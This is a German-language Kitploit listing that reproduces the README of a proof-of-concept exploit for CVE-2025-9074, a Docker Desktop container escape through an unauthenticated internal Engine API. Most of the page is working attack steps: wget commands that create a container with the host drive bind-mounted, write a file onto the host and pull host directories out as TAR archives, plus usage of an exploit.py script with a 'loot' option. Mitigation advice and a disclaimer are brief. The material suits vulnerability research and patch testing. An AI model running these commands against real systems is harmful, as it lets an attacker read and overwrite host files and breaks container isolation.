Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-9074 — PoC-Exploit für CVE-2025-9074, der einen vollständigen Docker-Desktop-Containerausbruch unter Windows und macOS über eine nicht authentifizierte interne Docker-Engine-API demonstriert. | Kitploit
Tools/GitHubGitHub/pucagit/cve-2025-9074
SchwachstellenanalyseExploitationPenetrationstestsCloud-SicherheitLernen & BildungContainer-Ausbruch
GitHubpucagit/cve-2025-9074

CVE-2025-9074

PoC-Exploit für CVE-2025-9074, der einen vollständigen Docker-Desktop-Containerausbruch unter Windows und macOS über eine nicht authentifizierte interne Docker-Engine-API demonstriert.

Repository anzeigen
14vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-9074 – Vollständiger Docker-Escape unter Windows & macOS Docker Desktop

📌 Beschreibung

Docker Desktop legt die interne Docker-Engine-API unter http://192.168.65.7:2375 für jeden laufenden Container offen — ohne Authentifizierung und ohne Zugriffskontrolle.

Da die Engine selbst das Host-Dateisystem einhängen kann, kann ein Container diese API aufrufen, um einen neuen Container zu erstellen, der das Host-Laufwerk per Bind-Mount einhängt, und diesen Container dann nutzen, um beliebige Host-Dateien zu lesen und zu schreiben — ein vollständiger Escape vom Container zum Host.

📝 Referenzen

  • CVE-2025-9074-Eintrag
  • Docker Desktop-Versionshinweise (behoben in 4.44.3)
  • Felix Boulets Forschung

🎯 Betroffene Versionen

  • Docker Desktop ≤ 4.44.3 unter Windows und
macOS

⚙️ So funktioniert es

  1. Die API erreichen. Ein laufender Container verbindet sich mit der Docker-Engine-API unter http://192.168.65.7:2375 — es sind keine Anmeldedaten erforderlich.
  2. Einen privilegierten Container erstellen. Er sendet POST /containers/create mit Binds: ["/mnt/host:/host_root"] und hängt das Host-Laufwerk in einen neuen Container ein. Innerhalb der Docker-VM ist das Host-Dateisystem unter /mnt/host zugänglich (z. B. befindet sich das Windows-Laufwerk C: unter /mnt/host/c).
  3. Den Container starten. POST /containers/{id}/start aktiviert den Bind-Mount und gewährt vollen Host-Zugriff.
  4. Host-Dateien schreiben. Der neue Container führt einen Befehl aus, der in den Bind-Mount schreibt (z. B. echo pwned > /host_root/c/test/pwn.txt).
  5. Host-Dateien lesen. GET /containers/{id}/archive?path=... streamt jeden Host-Pfad als TAR-Archiv zurück — keine Shell erforderlich.

🧪 Laboraufbau

Voraussetzungen

  • Docker Desktop vor 4.44.3 (Windows oder macOS)
  • Ein Angreifer-Container, der die interne API erreichen kann (das kann jeder Container)

Testdaten vorbereiten (Windows)

Erstellen Sie C:\test\readme.txt mit einigen Beispielinhalten, damit die Lese-Demo ein Ziel hat.

poc 1

Angreifer-Container starten

root@kitploit:~
docker run -it --rm alpine /bin/sh

Alle manuellen Schritte unten werden innerhalb dieses Containers ausgeführt (alpine enthält wget). Setzen Sie eine Shell-Variable für die API, um die Befehle kurz zu halten:

root@kitploit:~
API=http://192.168.65.7:2375

✍️ Reproduktion — SCHREIBEN auf den Host

Ziel: Erstellen von C:\test\pwn.txt auf dem Host aus einem Container heraus.

root@kitploit:~
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)

# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start

Was passiert ist:

  • Binds: /mnt/host:/host_root mountet die Host-Laufwerke in den neuen Container.
  • Der Befehl des Containers schreibt pwned nach C:\test\pwn.txt (/host_root/c/test/pwn.txt).
  • Es waren zu keinem Zeitpunkt Anmeldedaten erforderlich.

Erwartetes Ergebnis: C:\test\pwn.txt existiert nun auf dem Host.

poc 2


📖 Reproduktion — LESEN vom Host

Ziel: Lesen von C:\test\readme.txt vom Host aus einem Container heraus.

root@kitploit:~
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

Was passiert ist:

  • Derselbe Bind-Mount legt das Host-Laufwerk für den neuen Container lesefreundlich offen.
  • GET /containers/{id}/archive?path=... streamt jeden Host-Pfad als TAR zurück — keine Shell erforderlich.
  • Das Extrahieren des Archivs gibt den Inhalt der Host-Dateien preis.

Erwartetes Ergebnis: Der Inhalt von C:\test\readme.txt wird ausgegeben.

poc 3


🤖 Automatisierte Ausnutzung — exploit.py

exploit.py automatisiert beide Abläufe. Es verwendet nur die Python-Standardbibliothek, erkennt den Host-Mount automatisch (Windows /mnt/host/c vs. macOS/Linux /) und übersetzt native Host-Pfade für Sie.

Die interne API (192.168.65.7:2375) ist nur von innerhalb eines Containers aus erreichbar, führen Sie das Skript also in einem Container mit Python aus:

root@kitploit:~
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

Verwenden Sie unter Windows PowerShell -v "${PWD}:/x"; unter cmd.exe -v "%cd%:/x".

Zugriff überprüfen

root@kitploit:~
python /x/exploit.py info

Pingt die API an, erkennt das Host-Betriebssystem und listet die obersten Einträge des Host-Mounts auf.

Host-Datei schreiben

root@kitploit:~
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

Host-Datei lesen

root@kitploit:~
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot

Nützliche Flags

FlagZweck
--api URLAPI-Endpunkt überschreiben (Standard http://192.168.65.7:2375)
--image NAMEImage für den Exploit-Container (Standard alpine, wird bei Bedarf automatisch gepullt)
--vm-mount PATHAuto-Erkennung überspringen und den In-VM-Host-Mount erzwingen (z. B. /mnt/host oder /)

🛡️ Gegenmaßnahmen

  • Aktualisieren Sie Docker Desktop auf ≥ 4.44.3 unter Windows und macOS.
  • Führen Sie keine nicht vertrauenswürdigen Images aus; die nicht gepatchte API ist von jedem Container aus erreichbar.

⚠️ Haftungsausschluss

Dieser PoC dient ausschließlich autorisierten Tests, der Bildung und der Forschung. Der Autor übernimmt keine Haftung für Missbrauch. Führen Sie ihn nur gegen Systeme aus, die Ihnen gehören oder für deren Test Sie eine Genehmigung haben.


🙏 Danksagung

Dieser PoC und die README sind abgeleitet aus der Forschung von Felix Boulet. Alle Anerkennung für die ursprüngliche Entdeckung und Analyse gebührt dem ursprünglichen Autor.


📜 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert.

Tool herunterladen